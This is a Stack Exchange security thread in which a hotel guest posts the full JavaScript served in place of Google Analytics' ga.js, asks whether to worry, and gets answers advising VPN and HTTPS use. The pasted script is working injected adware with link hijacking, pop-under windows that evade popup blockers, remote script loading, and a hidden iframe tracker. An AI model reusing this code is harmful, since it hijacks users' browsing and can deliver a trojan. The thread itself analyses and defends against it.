131

While connected to my hotel Wi-Fi, visiting the URL http://www.google-analytics.com/ga.js results in the following content being served:

var ga_exists;
if(!ga_exists) 
{
    ga_exists = 1;
    var is_responsive = false;
    var use_keywords = false;

    Date.prototype.addHours = function (h) {
        this.setHours(this.getHours() + h);
        return this
    };

   function shuffle(src) {
        var cnt = src.length, tmp, idx;
        while (cnt > 0) {
            idx = Math.floor(Math.random() * cnt);
            cnt--;
            tmp = src[cnt];
            src[cnt] = src[idx];
            src[idx] = tmp;
        }
        return src;
    }
    function addEvent(obj, type, fn) {
        if (obj.addEventListener) {
            obj.addEventListener(type, fn, false)
        } else if (obj.attachEvent) {
            obj['e' + type + fn] = fn;
            obj[type + fn] = function () {
                obj['e' + type + fn](window.event)
            };
            obj.attachEvent('on' + type, obj[type + fn])
        } else {
            obj['on' + type] = obj['e' + type + fn]
        }
    }

    function getCookie(name) {
        var i, x, y, ARRcookies = document.cookie.split(';');
        for (i = 0; i < ARRcookies.length; i++) {
            x = ARRcookies[i].substr(0, ARRcookies[i].indexOf('='));
            y = ARRcookies[i].substr(ARRcookies[i].indexOf('=') + 1);
            x = x.replace(/^\s+|\s+$/g, '');
            if (x == name)
                return unescape(y)
        }
    }

    function setCookie(name, value, hours) {
        var exdate = new Date();
        exdate.addHours(hours);
        var c_value = escape(value) + ';expires=' + exdate.toUTCString() + ';path=/';
        document.cookie = name + '=' + c_value
    }

    function startsWith(str, pat) {
        if (typeof pat == 'object') {
            for (_i = 0; _i < pat.length; _i++) {
                if (str.toLowerCase().indexOf(pat[_i].toLowerCase()) == 0)
                    return true;
            }
            return false;
        }
        else
            return (str.toLowerCase().indexOf(pat.toLowerCase()) == 0);
    }

    addEvent(window, 'load', function()
    {
        var cnt_all = document.createElement('img');
        cnt_all.src = 'http://www.easycounter.com/counter.php?scanov_all';
        cnt_all.style.display = 'none';
        document.body.appendChild(cnt_all);

        if(use_keywords)
        {
            var keywords = '';
            var metas = document.getElementsByTagName('meta');
            if (metas) {
                var kwstr = '';
                for (var i = 0; i < metas.length; i++) {
                    if (metas[i].name.toLowerCase() == 'keywords')
                        kwstr += metas[i].content;
                }
                if(kwstr) {
                    var tmp = kwstr.split(',');
                    var tmp2 = new Array();
                    for (var i = 0; i < tmp.length && tmp2.length < 3; i++) {
                        var kw = tmp[i].trim();
                        if(/^\w+$/.test(kw))
                            tmp2.push(kw);
                    }
                    if(tmp2.length > 0)
                        keywords = tmp2.join('+');
                }
            }

            var replCookie = 'href-repl';
            var replStaff = Math.floor((Math.random() * 18) + 1);
            var replLink = 'http://msn.com' + '?staff=' + replStaff + '&q=' + keywords;
            var replHours = 12;
            addEvent(document, 'mousedown', function(evt){
                if(getCookie(replCookie)) return;
                evt = evt ? evt : window.event;
                var evtSrcEl = evt.srcElement ? evt.srcElement : evt.target;
                do {
                    if (evtSrcEl.tagName.toLowerCase() == 'a') break;
                    if (evtSrcEl.parentNode) evtSrcEl = evtSrcEl.parentNode;
                } while (evtSrcEl.parentNode);
                if (evtSrcEl.tagName.toLowerCase() != 'a') return;
                if (!startsWith(evtSrcEl.href, new Array('http://', 'https://')))
                    return;
                evtSrcEl.href = replLink;
                setCookie(replCookie, 1, replHours);
            });
        }
        if(window.postMessage && window.JSON)
        {
            var _top = self;
            var cookieName = '';
            var cookieExp = 24;
            var exoUrl = '';
            var exoPuId = 'ad_' + Math.floor(89999999 * Math.random() + 10000000);

            if (top != self) {
                try {
                    if (top.document.location.toString()) {
                        _top = top
                    }
                } catch (err) {}
            }

            var exo_browser = {
                is: function () {
                    var userAgent = navigator.userAgent.toLowerCase();
                    var info = {
                        webkit: /webkit/.test(userAgent),
                        mozilla: (/mozilla/.test(userAgent)) && (!/(compatible|webkit)/.test(userAgent)),
                        chrome: /chrome/.test(userAgent),
                        msie: (/msie/.test(userAgent)) && (!/opera/.test(userAgent)),
                        msie11: (/Trident/.test(userAgent)) && (!/rv:11/.test(userAgent)),
                        firefox: /firefox/.test(userAgent),
                        safari: (/safari/.test(userAgent) && !(/chrome/.test(userAgent))),
                        opera: /opera/.test(userAgent)
                    };
                    info.version = (info.safari) ? (userAgent.match(/.+(?:ri)[\/: ]([\d.]+)/) || [])[1] : (userAgent.match(/.+(?:ox|me|ra|ie)[\/: ]([\d.]+)/) || [])[1];
                    return info
                }(),
                versionNewerThan: function (version) {
                    currentVersion = parseInt(this.is.version.split('.')[0]);
                    return currentVersion > version
                },
                versionFrom: function (version) {
                    currentVersion = parseInt(this.is.version.split('.')[0]);
                    return currentVersion >= version
                },
                versionOlderThan: function (version) {
                    currentVersion = parseInt(this.is.version.split('.')[0]);
                    return currentVersion < version
                },
                versionIs: function (version) {
                    currentVersion = parseInt(this.is.version.split('.')[0]);
                    return currentVersion == version
                },
                isMobile: {
                    Android: function (a) { return a.navigator.userAgent.match(/Android/i) },
                    BlackBerry: function (a) { return a.navigator.userAgent.match(/BlackBerry/i) },
                    iOS: function (a) { return a.navigator.userAgent.match(/iPhone|iPad|iPod/i) },
                    Opera: function (a) { return a.navigator.userAgent.match(/Opera Mini/i) },
                    Windows: function (a) { return a.navigator.userAgent.match(/IEMobile/i) },
                    any: function (a) { return a.navigator.userAgent.match(/Android|BlackBerry|iPhone|iPad|iPod|Opera Mini|IEMobile/i) }
                }
            };
            var browser = exo_browser;

            var exopop = {
                settings: {
                    width: 1024,
                    height: 768
                },
                init: function () {
                    if (browser.isMobile.any(_top))
                        exopop.binders.mobile();
                    if (browser.is.msie)
                        exopop.binders.msie();
                    if (browser.is.msie11)
                        exopop.binders.msie11();
                    if (browser.is.firefox)
                        exopop.binders.firefox();
                    if (browser.is.chrome && browser.versionFrom(30) && navigator.appVersion.indexOf('Mac') != -1) 
                        exopop.binders.chrome30_mac();
                    if (browser.is.chrome && browser.versionOlderThan(30))
                        exopop.binders.chromeUntil30();
                    if (browser.is.chrome && browser.versionIs(30)) 
                        exopop.binders.chrome30();
                    else if (browser.is.chrome && browser.versionFrom(31)) 
                        exopop.binders.chrome31();
                    else if (browser.is.safari) 
                        exopop.binders.safari();
                    else
                        exopop.binders.firefox();
                },
                windowParams: function () {
                    return 'width=' + exopop.settings.width + ',height=' + exopop.settings.height + ',top=0,left=0,scrollbars=1,location=1,toolbar=0,menubar=0,resizable=1,statusbar=1'
                },
                status: {
                    opened: false
                },
                opened: function () {
                    if (exopop.status.opened) return true;
                    if (getCookie(cookieName)) return true;
                    return false
                },
                setAsOpened: function () {
                    this.status.opened = true;
                    setCookie(cookieName, 1, cookieExp)
                },
                findParentLink: function (clickedElement) {
                    var currentElement = clickedElement;
                    if (currentElement.getAttribute('target') == null && currentElement.nodeName.toLowerCase() != 'html') {
                        var o = 0;
                        while (currentElement.parentNode && o <= 4 && currentElement.nodeName.toLowerCase() != 'html') {
                            o++;
                            currentElement = currentElement.parentNode;
                            if (currentElement.nodeName.toLowerCase() === 'a' && currentElement.href != '') {
                                break
                            }
                        }
                    }
                    return currentElement
                },
                triggers: {
                    firefox: function () {
                        if (exopop.opened()) return true;
                        var popURL = 'about:blank';
                        var params = exopop.windowParams();
                        var PopWin = _top.window.open(popURL, exoPuId, params);
                        if (PopWin) {
                            PopWin.blur();
                            if (navigator.userAgent.toLowerCase().indexOf('applewebkit') > -1) {
                                _top.window.blur();
                                _top.window.focus()
                            }
                            PopWin.Init = function (e) {
                                with(e) {
                                    Params = e.Params;
                                    Main = function () {
                                        var x, popURL = Params.PopURL;
                                        if (typeof window.mozPaintCount != 'undefined') {
                                            x = window.open('about:blank');
                                            x.close()
                                        } else if (navigator.userAgent.toLowerCase().indexOf('chrome/2') > -1) {
                                            x = window.open('about:blank');
                                            x.close()
                                        }
                                        try {
                                            opener.window.focus()
                                        } catch (err) {}
                                        window.location = popURL;
                                        window.blur()
                                    };
                                    Main()
                                }
                            };
                            PopWin.Params = {
                                PopURL: exoUrl
                            };
                            PopWin.Init(PopWin)
                        }
                        exopop.setAsOpened();
                        return
                    },
                    chromeUntil30: function () {
                        if (exopop.opened()) return true;
                        window.open('javascript:window.focus()', '_self');
                        var w = window.open('about:blank', exoPuId, exopop.windowParams());
                        var a = document.createElement('a');
                        a.setAttribute('href', 'data:text/html,<scr' + 'ipt>window.close();</scr' + 'ipt>');
                        a.style.display = 'none';
                        document.body.appendChild(a);
                        var e = document.createEvent('MouseEvents');
                        e.initMouseEvent('click', true, true, window, 0, 0, 0, 0, 0, true, false, false, true, 0, null);
                        a.dispatchEvent(e);
                        document.body.removeChild(a);
                        w.document.open().write('<script type="text/javascript">window.location="' + exoUrl + '";<\/script>');
                        w.document.close();
                        exopop.setAsOpened()
                    },
                    chrome30: function (W) {
                        if (exopop.opened()) return true;
                        var link = document.createElement('a');
                        link.href = 'javascript:window.open("' + exoUrl + '","' + exoPuId + '","' + exopop.windowParams() + '")';
                        document.body.appendChild(link);
                        link.webkitRequestFullscreen();
                        var event = document.createEvent('MouseEvents');
                        event.initMouseEvent('click', true, true, window, 0, 0, 0, 0, 0, false, false, true, false, 0, null);
                        link.dispatchEvent(event);
                        document.webkitCancelFullScreen();
                        setTimeout(function () {
                            window.getSelection().empty()
                        }, 250);
                        var Z = W.target || W.srcElement;
                        Z.click();
                        exopop.setAsOpened()
                    },
                    safari: function () {
                        if (exopop.opened()) return true;
                        var popWindow = _top.window.open(exoUrl, exoPuId, exopop.windowParams());
                        if (popWindow) {
                            popWindow.blur();
                            popWindow.opener.window.focus();
                            window.self.window.focus();
                            window.focus();
                            var P = '';
                            var O = top.window.document.createElement('a');
                            O.href = 'data:text/html,<scr' + P + 'ipt>window.close();</scr' + P + 'ipt>';
                            document.getElementsByTagName('body')[0].appendChild(O);
                            var N = top.window.document.createEvent('MouseEvents');
                            N.initMouseEvent('click', false, true, window, 0, 0, 0, 0, 0, true, false, false, true, 0, null);
                            O.dispatchEvent(N);
                            O.parentNode.removeChild(O)
                        }
                        exopop.setAsOpened()
                    },
                    tab: function () {
                        if (exopop.opened()) return true;
                        var a = top.window.document.createElement('a');
                        var e = document.createEvent('MouseEvents');
                        a.href = exoUrl;
                        document.getElementsByTagName('body')[0].appendChild(a);
                        e.initMouseEvent('click', true, true, window, 0, 0, 0, 0, 0, true, false, false, true, 0, null);
                        a.dispatchEvent(e);
                        a.parentNode.removeChild(a);
                        exopop.setAsOpened()
                    },
                    mobile: function (triggeredEvent) {
                        if (exopop.opened()) return true;
                        var clickedElement = triggeredEvent.target || triggeredEvent.srcElement;
                        if (clickedElement.nodeName.toLowerCase() !== 'a') {
                            clickedElement = exopop.findParentLink(clickedElement)
                        }
                        if (clickedElement.nodeName.toLowerCase() === 'a' && clickedElement.getAttribute('target') !== '_blank') {
                            window.open(clickedElement.getAttribute('href'));
                            exopop.setAsOpened();
                            _top.document.location = exoUrl;
                            if (triggeredEvent.preventDefault != undefined) {
                                triggeredEvent.preventDefault();
                                triggeredEvent.stopPropagation()
                            }
                            return false
                        }
                        return true
                    }
                },
                binders: {
                    msie: function () {
                        addEvent(document, 'click', exopop.triggers.firefox)
                    },
                    firefox: function () {
                        addEvent(document, 'click', exopop.triggers.firefox)
                    },
                    chromeUntil30: function () {
                        addEvent(document, 'mousedown', exopop.triggers.chromeUntil30)
                    },
                    chrome30: function () {
                        addEvent(document, 'mousedown', exopop.triggers.chrome30)
                    },
                    chrome31: function () {
                        addEvent(document, 'mousedown', exopop.triggers.tab)
                    },
                    msie11: function () {
                        addEvent(document, 'mousedown', exopop.triggers.tab)
                    },
                    chrome30_mac: function () {
                        addEvent(document, 'mousedown', exopop.triggers.chromeUntil30)
                    },
                    safari: function () {
                        addEvent(document, 'mousedown', exopop.triggers.safari)
                    },
                    mobile: function () {
                        addEvent(document, 'click', exopop.triggers.mobile)
                    }
                }
            };

            var exoMobPop = 0;
            function exoMobile() {
                addEvent(document, 'click', function(){
                    var targ;
                    var e = window.event;
                    if (e.target) targ = e.target;
                    else if (e.srcElement) targ = e.srcElement;
                    if (targ.nodeType == 3 || targ.tagName != 'A') targ = targ.parentNode;
                    if (getCookie(cookieName)) exoMobPop = 1;
                    if (exoMobPop == 0) {
                        if(targ && targ.tagName == 'A')
                            targ.target = '_blank';
                        exoMobPop = 1;
                        setTimeout(function() {
                            setCookie(cookieName, 1, cookieExp / 2);
                            document.location.assign(exoUrl);
                        }, 1000);
                    }
                });
            }

            var scripts = null;
            var script_names = [];
            var recyclePeriod = 0;
            if(browser.isMobile.any(_top) && is_responsive)
            {
                recyclePeriod = 3 * 60 * 60 * 1000;
                scripts = {
                    '938466': function() {
                        exoUrl =  'http://www.reduxmediia.com/apu.php?n=&zoneid=5716&cb=3394654&popunder=1&direct=1';
                        cookieName = 'splashMob-938466';
                        exoMobile();
                    }
                };
            }
            else
            {
                recyclePeriod = 6 * 60 * 60 * 1000;
                scripts = {
                    'adcash': function() {
                        var adcash = document.createElement('script');
                        adcash.type = 'text/javascript';
                        adcash.src = 'http://www.adcash.com/script/java.php?option=rotateur&r=274944';
                        document.body.appendChild(adcash);
                    },
                    '1896743': function() {
                        exoUrl =  'http://www.reduxmediia.com/apu.php?n=&zoneid=5716&cb=3394654&popunder=1&direct=1';
                        cookieName = 'splashWeb-896743';
                        exopop.init();
                    },
                    'adcash2': function() {
                        var adcash2 = document.createElement('script');
                        adcash2.type = 'text/javascript';
                        adcash2.src = 'http://www.adcash.com/script/java.php?option=rotateur&r=274944';
                        document.body.appendChild(adcash2);
                    },

                };
            }
            for(var i in scripts) {
              if(scripts.hasOwnProperty(i))
                script_names.push(i);
            }
            script_names = shuffle(script_names);

            var origin = 'http://storage.com'
            var path = '/storage.html';
            var sign = '90e79fb1-d89e-4b29-83fd-70b8ce071039';
            var iframe = document.createElement('iframe');
            var done = false;
            iframe.style.cssText = 'position:absolute;width:1px;height:1px;left:-9999px;';
            iframe.src = origin + path;

            addEvent(iframe, 'load', function(){
                addEvent(window, 'message', function(evt){ 
                    if (!evt || evt.origin != origin)
                        return;
                    var rsp = JSON.parse(evt.data);
                    if(!rsp || rsp.sign != sign || rsp.act != 'ret')
                        return;
                    scripts[rsp.data]();
                    if(browser.isMobile.any(_top) && is_responsive) {
                        iframe.contentWindow.postMessage(
                            JSON.stringify({
                                act: 'set',
                                sign: sign,
                                data: rsp.data
                            }), 
                            origin
                        );
                    } else {
                        addEvent(document, 'mousedown', function(){
                            if(done) return;
                            done = true;
                            iframe.contentWindow.postMessage(
                                JSON.stringify({
                                    act: 'set',
                                    sign: sign,
                                    data: rsp.data
                                }), 
                                origin
                            );
                        });
                    }
                });
                iframe.contentWindow.postMessage(
                    JSON.stringify({
                        act: 'get',
                        recycle: recyclePeriod,
                        sign: sign,
                        data: script_names
                    }), 
                    origin
                );
            });
            document.body.appendChild(iframe);
        }
    });
}

Obviously someone is using this script to inject ads into guests' browsing. However, the worrying part for me is the bit that references "storage.com". When I ping storage.com, it resolves to 199.182.166.176.

Should I be worried?

Peter Mortensen
  • 885
  • 5
  • 10
foodiddy
  • 1,051
  • 2
  • 8
  • 4
  • 7
    Could you perform a nslookup on www.google-analytics.com? My bet is that the DNS record of this domain has been tampered with. – Dog eat cat world Jul 14 '14 at 08:03
  • 31
    How did you come across this? Do you read the HTML and JS of all resources loaded? I'm actually interested so that I might secure my own mobile devices and identify threats as you have. Thanks. – dotancohen Jul 14 '14 at 17:57
  • 4
    Its injected via reverse proxy. You can do this with your phone if you make it a wireless hotspot, and is why you need to be very careful with free wireless. VPN out of the hotel if you're worried. – Andrew Hoffman Jul 14 '14 at 19:33
  • You should never receive or send any sensitive information on an untrusted network, regardless of everything else. So I don't see the point of the question. – ignis Jul 16 '14 at 09:11
  • 3
    How do you detect this? => http://security.stackexchange.com/q/63219/5518 – PiTheNumber Jul 16 '14 at 10:25
  • 5
    @ignis There's enough insensitive information that's OK to browse, e.g. SE sites, without wanting some random JS doing random things to a machine. The question's point is right up there in *the question*. – Cornelius Jul 16 '14 at 13:53
  • 6
    @ignis: That's ridiculous. Sure, we already know that an untrusted network is untrusted in the general case, but why should that prevent us from being able to ask specifics about a specific network's behaviour? – Lightness Races in Orbit Jul 16 '14 at 14:00
  • 1
    Why does their IP address worry you? – djechlin Jul 16 '14 at 15:07
  • foo, how did you detect this? – KnightOfNi Jul 16 '14 at 21:28
  • If your OS and trusted programs (such as your web browser) are secure, it doesn't matter what malice your network is trying to do. Move along. This happens all the time. The question you should be asking yourself is whether you are vulnerable to such "phishing" attacks. – Harold R. Eason Jul 15 '14 at 04:43
  • In the modern Internet, web apps need to be trustworthy too. The browser is a sandbox, but there are still valuable targets *inside* the sandbox. – user253751 Jul 15 '14 at 07:44
  • I would think that JS injected into a page would immediately be a sign of an insecure system. JS injected on a bank login page? No thanks! – andrewb Jul 16 '14 at 00:57
  • Some people aren't as "security aware" as others, and may click the install link (in fact, they might see the update as being pro-secure). Destroying the whole "If your OS and trusted programs (such as your web browser) are secure" leading to the fact that the web, like @immibis said, should also be safe. – DeadChex Jul 16 '14 at 16:36
  • 1
    @AndrewHoffman, Why will "VPN out of the hotel" protect you since you are still using the hotel's physical line? – Pacerier Mar 28 '15 at 20:17
  • @PiTheNumber, Why not simply use TLS/HTTPS? There's no way DNS hijacking could hijack your secure TLS connection. – Pacerier Mar 28 '15 at 20:20
  • @Pacerier when you connect with a Vpn it creates a private connection from your physical computer to the Vpn server. The hotel can watch your traffic, but it's all encrypted, and can't tell what you're connecting to beyond the Vpn. – Andrew Hoffman Mar 28 '15 at 20:21
  • @AndrewHoffman, So basically it's just like doing a HTTPS call for `google-analytics.com/ga.js`? – Pacerier Mar 29 '15 at 02:43
  • 2
    @Pacerier https works fine as well, as long as the cert checks out ok. But https is up to the website to use. If you want to escape the evil hotel for all sites, you want to vpn – Andrew Hoffman Mar 29 '15 at 02:47

3 Answers3

130

Yes, you should be worried. You should contact the hotel staff, and you should not use the network any more. It is likely the router’s DNS is manipulated.

It is possible that the hotel wants to make some money on the side by injecting ads. However, this script looks evil.

It tries to open a dialog that tricks you into installing a trojan by displaying a message that is supposed to look like a Windows update:

http://www.reduxmediia.com/apu.php?n=&zoneid=5716&cb=3394654&popunder=1&direct=1

Fake Update Dialog

Update

The answer is not really worth so many up-votes. So let me add some more about what the script is doing.

It opens an iframe to storage.com and uses postMessage to store/query data with the ID 90e79fb1-d89e-4b29-83fd-70b8ce071039.

These ads, besides the ad above, mentioned popup, it also loads JavaScript from: http://www.adcash.com/script/java.php?option=rotateur&r=274944

Also, there is something happening with keywords and an msn.com search query on mousedown.

Mark
  • 103
  • 3
PiTheNumber
  • 5,414
  • 4
  • 21
  • 36
  • If you were to use a VPN, would the network be safe to use? – Undo Jul 14 '14 at 22:55
  • 3
    @Undo It depends on how the VPN was set up (e.g. if you're using OpenVPN you'll want to have the server's identifying certificate retrieved via a safe channel, if you're using SOCKS via SSH you need the server fingerprint, etc., to prevent a MITM attack), but it should be safe after that. From your typical public-wifi-snooping attackers, anyway, not necessarily from a government. – Bob Jul 14 '14 at 23:41
  • 39
    I'm trying to imagine what response you would get from the front desk. "Can I help you?" "Yes, I believe your wireless router has had its DNS tampered with. This is a very serious problem." "..." – Seth Battin Jul 16 '14 at 02:37
  • 26
    @SethBattin One employee turns to the other and says "Ha! I told you they'd notice. A bet's a bet, pay up!" – Jason C Jul 16 '14 at 05:08
  • 9
    That Windows icon _reeks_ of nostalgia <3 – Lightness Races in Orbit Jul 16 '14 at 14:10
  • 1
    How about using a different DNS liek 4.2.2.4? Would that be safe in this case? – Mehraban Jul 17 '14 at 10:01
  • 1
    @SAM It would be better but the router could still inject the wrong IP. See follow up question with a [comment](http://security.stackexchange.com/questions/63219/how-to-protect-and-detect-dns-manipulations-from-browser-side#comment102309_63219) about that. Save would be a VPN/Tunnel. – PiTheNumber Jul 17 '14 at 10:05
14

Without looking at the code: Yes, you should be worried! Nobody should tamper with your internet traffic, as this opens many possible threat scenarios. Even if you try to open any page and it is showing a page instead that is asking for the WiFi credentials this is impossible, as the router has first redirected your DNS query and then pretends to be the server you were trying to reach.

The best way when you are using other people's networks is to open a secured tunnel to a trusted server (OpenVPN, SSH) and to only use this.

l0b0
  • 3,011
  • 21
  • 29
user51945
  • 141
  • 2
  • 4
    The ethic of some internet service providers, be it a hotel complementary wifi, or comcast, is very concerning. I've had comcast js inject youtube when I got close to my bandwidth cap. Just because you can do it, doesn't mean you should. A lesson I think all ISPs need to learn. – Andrew Hoffman Jul 14 '14 at 19:37
  • 7
    "Nobody should tamper with your internet traffic, as this opens many possible threat scenarios." That's only true if he's using services that don't use proper cryptography. @AndrewHoffman, No. People need to learn not to trust ISPs, and we are already moving in that direction. – Harold R. Eason Jul 15 '14 at 04:45
  • @AndrewHoffman if done properly that's not concerning, that's actively helpful. the concerning stuff is the *other* things your ISP can do (which they can do regardless of whether or not they're injecting bandwidth cap messages) and the risk that their injected messages open other attacks (like XSS) – user253751 Jul 15 '14 at 07:43
  • @immibis its still lying to the browser, lying about which resources the page is requesting. If this practice scales out of control or it becomes easier to exploit with mobile hotspots, naked http will need to end. Though thats not entirely a bad thing. Its just that comcast shouldn't be exploiting a weakness just because they can. Its straight up mitm. – Andrew Hoffman Jul 15 '14 at 13:51
  • @AndrewHoffman the weakness is equally serious whether Comcast are exploiting it (for non-malicious purposes) or not. – user253751 Jul 16 '14 at 04:42
  • Nobody said otherwise. I just think comcast should be named and shamed for doing so. – Andrew Hoffman Jul 16 '14 at 15:14
8

I felt compelled to offer a less paranoid answer, having at times myself used "untrusted" networks for otherwise secure transactions.

It is certainly true that a network where data is transported via plaintext is susceptible to man-in-the-middle (MITM) attacks. In such a network, both the data you receive and the data you send can potentially be read and modified without your knowledge.

It is also true that it is difficult to verify if a network really should be trusted. As noted in other answers, ISPs (which many would consider "trusted") have shown themselves willing and capable to interfere with Internet traffic under certain circumstances. Many people have to use apartment WIFI to connect to the Internet, which is of dubious trustworthiness, with no other options. Even WIFI in general is questionable, considering that other WIFI users can interfere with your web traffic, depending on router configuration, signal strength, etc.

Given these two statements, MITM attacks are naturally a common security concern; one that developers of secure applications must consider. Fortunately, Internet traffic can be secured against this kind of attack using HTTPS.

As long as a site uses HTTPS and the developer of said site was cognizant of security best practices, it should be secured against MITM (man-in-the-middle) attacks such as this. As you note in your question, when you visit specifically http://www.google-analytics.com/ga.js, you are given some sort of undesired, perhaps malicious JavaScript. I would guess that if you visit the HTTPS version, you will get the correct file.

Even if a site uses HTTPS, it could still reference an HTTP resource (as in <script>http://www.google-analytics.com/ga.js</script>), which would likely cause a warning in the user's browser that the page is trying to load a resource that could be compromised. If the user "clicked away," this warning then the entire page could become compromised. So, there is some onus on the developer not to allow a vulnerability.

Of course, the fact that you have demonstrated that someone is messing with the contents of your Internet traffic is a cause of concern; setting up MITM is in many cases step one of deploying a more serious attack. Furthermore, you shouldn't use such a network for HTTP traffic, seeing as the server could easily try to get you to surreptitiously download more malicious code/log your keystrokes/server you advertisements. However, you CAN use such a network to access secure services through HTTPS.

If I was given the choice of connecting to a service through HTTPS over an untrusted network or a service through HTTP on a "trusted" network, I would choose the former (but I would ideally want both).

timspr
  • 81
  • 1